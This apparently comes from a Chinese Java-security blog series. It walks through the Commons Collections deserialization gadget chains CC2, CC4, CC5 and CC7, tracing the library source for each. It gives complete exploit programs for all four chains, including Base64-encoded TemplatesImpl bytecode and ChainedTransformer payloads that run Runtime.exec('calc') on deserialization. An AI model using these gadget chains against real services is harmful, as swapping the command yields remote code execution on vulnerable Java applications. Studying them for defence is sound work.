本文主要是介绍[Java安全入门]六.CC2+CC4+CC5+CC7，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
一.前言
与前面几条cc不同的是，cc2的依赖是4.0版本，并且解决了高版本无法使用AnnotationInvocationHandler类的弊端。cc2使用javassist和PriorityQueue来构造链。
二.添加依赖
<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.22.0-GA</version></dependency></dependencies>
三.构造链
ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec()四.分析
先看一下PriorityQueue类
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}PriorityQueue类的readObject将反序列化得到数据放在queue数组里，然后调用heapify()方法形成一个二叉堆
跟进到heapify()方法
private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);}heapify()方法对传入的数据执行siftDown()方法
继续跟进到siftDown()
private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}如果传入的比较器不是null的话，执行siftDownUsingComparator
继续跟进到siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;}这里就是通过比较器来比较queue里面的数据，就是这一步里面的compare()方法可以通过作为跳板被TransformingComparator类使用。
看一下TransformingComparator类的构造器
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {this(transformer, ComparatorUtils.NATURAL_COMPARATOR);}/*** Constructs an instance with the given Transformer and Comparator.** @param transformer what will transform the arguments to <code>compare</code>* @param decorated the decorated Comparator*/public TransformingComparator(final Transformer<? super I, ? extends O> transformer,final Comparator<O> decorated) {this.decorated = decorated;this.transformer = transformer;}可以传入两个对象 一个是decoreated另一个是tansformer
看一下里面的compare方法
public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}compare方法对传入的两个对象进行transform操作，正好接上了 cc1后面的链
所有就有链子
PriorityQueue.readObject()PriorityQueue.readObject()->heapify()->siftDown()-> siftDownUsingComparator()- ->compare()TransformingComparator.compare()ChainedTransformer.transform()InvokerTransformer.transform()五.exp
后面部分用的是cc3的newTransformer触发链
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性，所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");TemplatesImpl templates = new TemplatesImpl();//反射设置fieldsetFieldValue(templates, "_bytecodes", new byte[][]{code});setFieldValue(templates, "_name", "ta0");//执行template.newTransformerInvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});TransformingComparator comparator = new TransformingComparator(invokerTransformer);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量，后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{templates, templates};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}如CC果用TemplatesImpl和TrAXFilter也可以，其实这种不用 InvokerTransformer写法就是CC4
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性，所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImplsetFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),//构造方法中的的newTransformer()方法正好是TemplatesImpl链里面的第一步new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) //利用InstantiateTransformer的transform()来调用到TrAXFilter的构造方法};/* Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)};*/ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量，后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{chain,chain};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}六.其他链
1.cc4
刚才说过了就是把cc2的 InvokerTransformer换成InstantiateTransformer写法
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.time.temporal.Temporal;
import java.util.Base64;
import java.util.PriorityQueue;public class Main {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value); //因为属性都是私有属性，所以通过反射赋值}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImplsetFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),//构造方法中的的newTransformer()方法正好是TemplatesImpl链里面的第一步new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) //利用InstantiateTransformer的transform()来调用到TrAXFilter的构造方法};/* Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)};*/ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue priorityQueue = new PriorityQueue();//先设置正常的变量，后面可以通过反射调用修改属性priorityQueue.add(0);priorityQueue.add(0);//反射设置 FieldObject[] objects = new Object[]{chain,chain};setFieldValue(priorityQueue, "queue", objects);//object就传入我们要执行的命令setFieldValue(priorityQueue, "comparator", comparator);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(priorityQueue);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}2.cc5
利用TiedMapEntry.hashCode->get来触发LazyMap的get方法
利用链
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()简单分析一下
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}BadAttributeValueExpException的readObject方法调用了toString方法
在TiedMapEntry中的toString方法调用了getValue
public String toString() {return getKey() + "=" + getValue();}而getValue又调用get方法，这样就能调用LazyMap的get方法，进而调用ChainedTransform
public Object getValue() {return map.get(key);}exp
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});Map<Object, Object> hashMap = new HashMap<>();Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chain);//将lazyMap传给TiedMapEntryTiedMapEntry entry = new TiedMapEntry(lazymap, "ta0");BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,entry);//反射把TiedMapEntry赋给BadAttributeValueExpException 的val属性ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(badAttributeValueExpException);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}3.cc7
cc7也是触发LazyMap的get方法，这里利用到一个新的类Hashtable
先看一下Hashtable的readObject方法对传入的键值调用了reconstitutionPut()方法
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size. Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}}跟进到reconstitutionPut()，通过调用key的equals方法来判断是真的hash碰撞，而且传入的元素至少是两个，并且hash值相同
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}而LazyMap的父类AbstractMapDecorator类里面也有个equals方法，这里仅仅是比较两个key的引用是否为同一个，如果不是，则继续调用map的equals,所以可以通过LazyMap的静态方法decorate将HashMap传给map属性
public boolean equals(Object object) {if (object == this) {return true;}return map.equals(object);}HashMap本身成员没有equals方法，但是HashMap继承了父类AbstractMap里面有一个equals方法
public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}先是判断是否为同一对象，然后判断对象的类型，最后判断map中的元素个数。到try内部，如果value不为null会调用m的get方法，m
所以有构造链
Hashtable.readObject-->Hashtable.reconstitutionPut-->AbstractMap.equals-->LazyMap.get--> ->ChainedTransformer
最后抄一个网上的exp
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class Main {public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {Transformer[] fakeTransformer = new Transformer[]{};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//ChainedTransformer实例//先设置假的 Transformer 数组，防止生成时执行命令Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);//LazyMap实例Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, "test");hashtable.put(lazyMap2, "test");//通过反射设置真的 ransformer 数组Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");field.setAccessible(true);field.set(chainedTransformer, transformers);//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy，所以这里要移除lazyMap2.remove("yy");ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(hashtable);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化}
}参考
CC链 1-7 分析 - 先知社区 (aliyun.com)
12-java安全——java反序列化CC7链分析-CSDN博客
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